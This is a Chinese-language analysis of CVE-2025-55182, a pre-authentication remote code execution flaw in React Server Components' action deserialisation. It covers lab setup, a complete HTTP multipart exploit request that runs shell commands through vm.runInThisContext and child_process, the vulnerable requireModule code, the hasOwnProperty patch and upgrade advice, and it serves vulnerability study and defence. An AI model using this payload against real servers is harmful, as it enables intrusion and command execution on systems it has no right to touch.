React 服务器组件原型链漏洞(CVE-2025-55182)
字数 1567 2025-12-05 12:08:22

React服务器组件原型链漏洞(CVE-2025-55182)分析文档

漏洞概述

CVE编号:CVE-2025-55182
漏洞类型:预认证远程代码执行(RCE)
影响版本:React Server Components 19.0.0、19.1.0、19.1.1、19.2.0
受影响包:react-server-dom-parcel、react-server-dom-turbopack、react-serverdom-webpack
CVSS评分:10.0(严重级别)

漏洞描述

该漏洞存在于React服务器组件(RSC)的反序列化机制中。攻击者可通过向Server Function端点发送特制HTTP请求,利用原型链污染实现远程代码执行。核心问题在于requireModule函数未对属性访问进行安全校验,允许攻击者访问原型链上的危险方法。

环境搭建

所需工具

  • Node.js环境
  • Git客户端

搭建步骤

  1. 下载漏洞环境:
git clone https://github.com/ejpir/CVE-2025-55182-poc/
  1. 安装依赖:
cd CVE-2025-55182-poc
npm install
  1. 启动服务:
npm start
  1. 访问测试地址:http://127.0.0.1:3002

漏洞复现

攻击载荷

POST /formaction HTTP/1.1
Host: localhost:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 297

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"dir\").toString()"]}
------Boundary--

关键参数说明

  • $ACTION_REF_0:动作引用标识(可为空值)
  • $ACTION_0:0:包含恶意序列化数据的核心字段
  • id字段格式:模块名#导出函数名(示例:vm#runInThisContext
  • bound字段:包含要执行的恶意代码

漏洞分析

漏洞位置

漏洞核心位于requireModule函数(react-server-dom-webpack等服务端包中):

漏洞代码

function requireModule(metadata) {
    const moduleId = metadata[0];        // 模块ID(如:"vm")
    const moduleExports = __webpack_require__(moduleId); // 加载模块
    const exportName = metadata[2];      // 导出函数名(攻击者可控)
    return moduleExports[exportName];    // 直接返回,无安全检查
}

攻击流程

  1. 请求处理:服务器接收POST请求到/formaction端点
  2. 数据解析:解析multipart/form-data格式数据
  3. 反序列化:调用decodeAction(formData, serverManifest)处理动作数据
  4. 模块加载:根据id字段(如"vm#runInThisContext")拆分并加载对应模块
  5. 危险函数获取:通过原型链访问获取vm.runInThisContext等危险函数
  6. 代码执行:执行bound字段中的恶意代码

补丁分析

修复后的代码添加了hasOwnProperty检查:

// 修复后代码
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
}
return (undefined: any);

修复关键点

  • 限制只允许访问对象自身属性,禁止原型链遍历
  • 防止攻击者通过__proto__constructor.prototype等访问原型方法

攻击向量

攻击者可利用以下路径进行攻击:

  • __proto__.toString:访问原型链方法
  • constructor.prototype:获取构造函数原型
  • vm.runInThisContext:直接获取代码执行能力
  • 其他Node.js核心模块的危险导出函数

技术细节

反序列化机制

React服务器组件使用自定义序列化格式在客户端和服务器间传输数据。漏洞存在于服务端反序列化过程中对特殊动作(Action)的处理。

服务器清单(Server Manifest)

服务器维护一个模块清单,包含可用模块的映射信息。攻击者通过操控id字段指向危险模块和函数。

多部分表单解析

const formData = parseMultipart(buffer, boundaryMatch[1]);
// 生成Map结构:
// [
//   ['$ACTION_REF_0', ''],
//   ['$ACTION_0:0', '{"id":"vm#runInThisContext","bound":["..."]}']
// ]

防护建议

即时措施

  1. 立即升级到React 19.2.1或更高版本
  2. 检查并验证所有服务器端点的输入数据
  3. 实施严格的Content-Type验证

长期防护

  1. 实施输入验证和过滤机制
  2. 使用沙箱环境运行服务器代码
  3. 限制模块加载白名单
  4. 实施最小权限原则

总结

CVE-2025-55182是一个严重的原型链污染漏洞,允许攻击者通过精心构造的序列化数据在服务器端执行任意代码。该漏洞的利用不需要认证,且影响范围广泛,需要立即采取防护措施。修复方案通过添加属性存在性检查,有效阻断了原型链遍历攻击路径。

React服务器组件原型链漏洞(CVE-2025-55182)分析文档 漏洞概述 CVE编号 :CVE-2025-55182 漏洞类型 :预认证远程代码执行(RCE) 影响版本 :React Server Components 19.0.0、19.1.0、19.1.1、19.2.0 受影响包 :react-server-dom-parcel、react-server-dom-turbopack、react-serverdom-webpack CVSS评分 :10.0(严重级别) 漏洞描述 该漏洞存在于React服务器组件(RSC)的反序列化机制中。攻击者可通过向Server Function端点发送特制HTTP请求,利用原型链污染实现远程代码执行。核心问题在于 requireModule 函数未对属性访问进行安全校验,允许攻击者访问原型链上的危险方法。 环境搭建 所需工具 Node.js环境 Git客户端 搭建步骤 下载漏洞环境: 安装依赖: 启动服务: 访问测试地址: http://127.0.0.1:3002 漏洞复现 攻击载荷 关键参数说明 $ACTION_REF_0 :动作引用标识(可为空值) $ACTION_0:0 :包含恶意序列化数据的核心字段 id 字段格式: 模块名#导出函数名 (示例: vm#runInThisContext ) bound 字段:包含要执行的恶意代码 漏洞分析 漏洞位置 漏洞核心位于 requireModule 函数(react-server-dom-webpack等服务端包中): 漏洞代码 : 攻击流程 请求处理 :服务器接收POST请求到 /formaction 端点 数据解析 :解析multipart/form-data格式数据 反序列化 :调用 decodeAction(formData, serverManifest) 处理动作数据 模块加载 :根据 id 字段(如"vm#runInThisContext")拆分并加载对应模块 危险函数获取 :通过原型链访问获取 vm.runInThisContext 等危险函数 代码执行 :执行bound字段中的恶意代码 补丁分析 修复后的代码添加了 hasOwnProperty 检查: 修复关键点 : 限制只允许访问对象自身属性,禁止原型链遍历 防止攻击者通过 __proto__ 、 constructor.prototype 等访问原型方法 攻击向量 攻击者可利用以下路径进行攻击: __proto__.toString :访问原型链方法 constructor.prototype :获取构造函数原型 vm.runInThisContext :直接获取代码执行能力 其他Node.js核心模块的危险导出函数 技术细节 反序列化机制 React服务器组件使用自定义序列化格式在客户端和服务器间传输数据。漏洞存在于服务端反序列化过程中对特殊动作(Action)的处理。 服务器清单(Server Manifest) 服务器维护一个模块清单,包含可用模块的映射信息。攻击者通过操控 id 字段指向危险模块和函数。 多部分表单解析 防护建议 即时措施 立即升级到React 19.2.1或更高版本 检查并验证所有服务器端点的输入数据 实施严格的Content-Type验证 长期防护 实施输入验证和过滤机制 使用沙箱环境运行服务器代码 限制模块加载白名单 实施最小权限原则 总结 CVE-2025-55182是一个严重的原型链污染漏洞,允许攻击者通过精心构造的序列化数据在服务器端执行任意代码。该漏洞的利用不需要认证,且影响范围广泛,需要立即采取防护措施。修复方案通过添加属性存在性检查,有效阻断了原型链遍历攻击路径。